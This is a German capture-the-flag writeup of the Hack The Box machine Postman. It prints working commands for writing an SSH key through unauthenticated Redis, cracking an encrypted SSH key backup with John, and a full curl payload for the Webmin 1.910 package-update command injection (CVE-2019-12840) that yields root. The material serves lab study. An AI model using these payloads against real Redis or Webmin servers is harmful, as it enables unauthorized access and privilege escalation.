← Zurück zu Machines

HTB · published

Postman

Hack The Box CPTS-Track Writeup für Postman: unauthenticated Redis file write, SSH als redis, KeePass/SSH-Key Credential Recovery, Matt-Pivot und Webmin CVE-2019-12840.

HTBCPTSWriteupLinuxRedisWebminCredential ReuseMachine

Metadaten

  • Name: Postman
  • IP Address: 10.129.2.1
  • Plattform: Linux
  • Kategorie: Redis / SSH / Credential Recovery / Webmin
  • Schwierigkeit: Easy
  • Ziel(e): User, Root
  • Kurzbeschreibung: Postman ist eine Linux-Maschine mit SSH, Apache, Redis und Webmin. Der Einstieg gelingt über unauthenticated Redis: Durch Manipulation der Persistence-Konfiguration wird ein eigener SSH Public Key als authorized_keys für den Benutzer redis geschrieben. Danach führt ein verschlüsselter Backup-SSH-Key zu Matt. Das wiederverwendete Passwort funktioniert auch in Webmin 1.910, wo eine authentifizierte Package-Update Command Injection Root-Codeausführung ermöglicht.

Executive Summary

Redis war ohne Authentifizierung erreichbar und erlaubte CONFIG SET. Dadurch konnte Redis als File-Write-Primitive missbraucht werden, um einen SSH-Key in /var/lib/redis/.ssh/authorized_keys zu schreiben. Das lieferte den ersten stabilen Zugriff als Benutzer redis.

Auf dem System lag /opt/id_rsa.bak, ein verschlüsselter privater SSH-Key für Matt. Die Passphrase wurde mit John gecrackt:

computer2008

Dieses Passwort wurde für su - Matt und Webmin wiederverwendet. In Webmin 1.910 war die Package-Update-Funktion anfällig für authentifizierte Command Injection, wodurch Befehle als Root ausgeführt und die Root-Flag gelesen werden konnten.

Reconnaissance / Enumeration

ICMP deutete mit TTL 63 auf Linux hin. Der Full-Port-Scan zeigte vier offene TCP-Ports:

nmap -Pn -p- --min-rate 2500 -T4 -oA scans/tcp_full 10.129.2.1
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt

Der Service-Scan:

nmap -Pn -sC -sV -O --version-all -p 22,80,6379,10000 -oA scans/tcp_services 10.129.2.1
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp    open  http    Apache httpd 2.4.29 (Ubuntu)
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)

Der Apache-Title war:

The Cyber Geek's Personal Website

Die Seite referenzierte Postman@htb. Der wirklich interessante Dienst war aber Redis auf Port 6379.

Redis Enumeration

Redis akzeptierte unauthentifizierte Befehle:

redis-cli -h 10.129.2.1 PING
redis-cli -h 10.129.2.1 INFO server
redis-cli -h 10.129.2.1 CONFIG GET dir
redis-cli -h 10.129.2.1 CONFIG GET dbfilename

Relevante Ergebnisse:

PONG
redis_version:4.0.9
dir        /var/lib/redis
dbfilename dump.rdb

Da CONFIG SET möglich war, konnte Redis zum Schreiben einer Datei an einem kontrollierten Pfad missbraucht werden.

Foothold: SSH-Key über Redis schreiben

Zuerst wurde lokal ein dediziertes SSH-Keypair erzeugt:

ssh-keygen -t ed25519 -f loot/redis_ssh_key -N ''

Der Public Key wurde mit Leerzeilen umgeben, als Redis-Wert geschrieben und anschließend Redis so konfiguriert, dass der Dump als authorized_keys im .ssh-Verzeichnis des Redis-Users landet:

redis-cli -h 10.129.2.1 -x SET ssh_key < loot/redis_authorized_keys_payload.txt
redis-cli -h 10.129.2.1 CONFIG SET dir /var/lib/redis/.ssh
redis-cli -h 10.129.2.1 CONFIG SET dbfilename authorized_keys
redis-cli -h 10.129.2.1 SAVE

Danach wurden die Redis-Persistence-Werte wieder zurückgesetzt:

redis-cli -h 10.129.2.1 CONFIG SET dir /var/lib/redis
redis-cli -h 10.129.2.1 CONFIG SET dbfilename dump.rdb

SSH als redis:

ssh -i loot/redis_ssh_key redis@10.129.2.1

Proof:

uid=107(redis) gid=114(redis)
hostname=Postman

Credential Recovery

In der Redis-Shell-History gab es Hinweise auf eine Backup-Datei:

id_rsa.bak

Die Datei wurde in /opt gefunden:

/opt/id_rsa.bak

Sie war lesbar und wurde lokal heruntergeladen:

scp -i loot/redis_ssh_key redis@10.129.2.1:/opt/id_rsa.bak loot/matt_id_rsa.bak

Danach wurde sie für John konvertiert:

ssh2john loot/matt_id_rsa.bak > loot/matt_id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt \
  --pot=loot/john_matt.pot loot/matt_id_rsa.hash

Gefundene Passphrase:

computer2008

Diese Passphrase wurde als Passwort von Matt wiederverwendet.

User Pivot zu Matt

Aus der Redis-SSH-Shell:

su - Matt

Passwort:

computer2008

Proof:

uid=1000(Matt) gid=1000(Matt) groups=1000(Matt)

sudo -l brachte keinen direkten Weg:

Sorry, user Matt may not run sudo on Postman.

User Flag

cat /home/Matt/user.txt
e21a0c07XXXXXXXXXXXXXXX649b610e0

Webmin Enumeration

Webmin lief auf Port 10000:

MiniServ 1.910 (Webmin httpd)

Das Passwort computer2008 funktionierte auch für Webmin:

curl -k -c loot/webmin_matt.cookies https://10.129.2.1:10000/ -o /dev/null

curl -k -b loot/webmin_matt.cookies -c loot/webmin_matt.cookies \
  --data-urlencode 'user=Matt' \
  --data-urlencode 'pass=computer2008' \
  https://10.129.2.1:10000/session_login.cgi

Lokale Quellcodeprüfung zeigte, dass der Package-Update-Handler einen Paketnamen in einen Shell-Befehl einbaut:

local $cmd = "$apt_get_command -y ".($force ? " -f" : "")." install $update";

Damit war die authentifizierte Webmin-Command-Injection erreichbar. Diese Schwachstelle wird üblicherweise als CVE-2019-12840 geführt.

Privilege Escalation: Webmin Command Injection

Ein authentifizierter Request an /package-updates/update.cgi lieferte eine semicolon-delimited Payload. Um Probleme mit Slashes zu vermeiden, wurde / über POSIX printf erzeugt.

Payload:

curl -k -b loot/webmin_matt.cookies \
  -e 'https://10.129.2.1:10000/package-updates/' \
  --data-urlencode 'mode=new' \
  --data-urlencode 'confirm=1' \
  --data-urlencode \
  "u=;p=\$(printf '\\057');id >\${p}tmp\${p}webmin_id;cp \${p}root\${p}root.txt \${p}tmp\${p}root_flag;chmod 644 \${p}tmp\${p}webmin_id \${p}tmp\${p}root_flag;" \
  https://10.129.2.1:10000/package-updates/update.cgi

Die temporäre Proof-Datei bestätigte Root-Ausführung:

uid=0(root) gid=0(root) groups=0(root)

Root Flag

Die Root-Flag wurde über den Webmin-Root-Command-Path nach /tmp/root_flag kopiert und anschließend gelesen:

26354XXXXXXXXXXXXXXXX5f5d3

Cleanup

Die temporären Proof-Dateien wurden über dieselbe Webmin-Command-Injection entfernt.

Redis-Artefakte wurden ebenfalls bereinigt:

rm -f /var/lib/redis/.ssh/authorized_keys
redis-cli -h 10.129.2.1 DEL ssh_key
redis-cli -h 10.129.2.1 SAVE
redis-cli -h 10.129.2.1 CONFIG GET dir
redis-cli -h 10.129.2.1 CONFIG GET dbfilename

Verifikation:

dir        /var/lib/redis
dbfilename dump.rdb
injected SSH key no longer accepted

Alternative Paths / Rabbit Holes

  • Apache-Content-Discovery brachte keinen direkteren Foothold als Redis.
  • Der verschlüsselte SSH-Key von Matt hätte eventuell für direkten SSH-Zugriff getestet werden können, aber su - Matt und Webmin reichten aus.
  • Matt hatte keine sudo-Rechte, daher war Webmin der verifizierte Root-Weg.

Post-Exploitation

  • Foothold: Unauthenticated Redis File Write zu authorized_keys.
  • Initial User: SSH als redis.
  • Credential Recovery: /opt/id_rsa.bak, Passphrase computer2008.
  • User: su - Matt, User-Flag in /home/Matt/user.txt.
  • Root: Authentifizierte Webmin Package-Update Command Injection.
  • Root-Flag: /root/root.txt, über Webmin nach /tmp/root_flag kopiert.

Lessons Learned

  • Redis ohne Auth ist kritisch: Mit CONFIG SET und SAVE wird Redis schnell zu einem File-Write-Primitive.
  • Backups sind Credentials: Ein verschlüsselter privater Key ist nur so stark wie seine Passphrase.
  • Password Reuse entscheidet oft: computer2008 funktionierte als Key-Passphrase, lokales Passwort und Webmin-Passwort.
  • Admin-Webinterfaces patchen: Auch authentifizierte Schwachstellen sind gefährlich, wenn ein Low-Priv-User Zugriff hat.
  • Cleanup verifizieren: Bei File-Write-Footholds sollten Datenbankwerte, Dateien und Login-Möglichkeiten geprüft werden.

Tools Used

  • nmap
  • redis-cli
  • ssh
  • scp
  • ssh-keygen
  • ssh2john
  • john
  • curl
  • feroxbuster
  • rg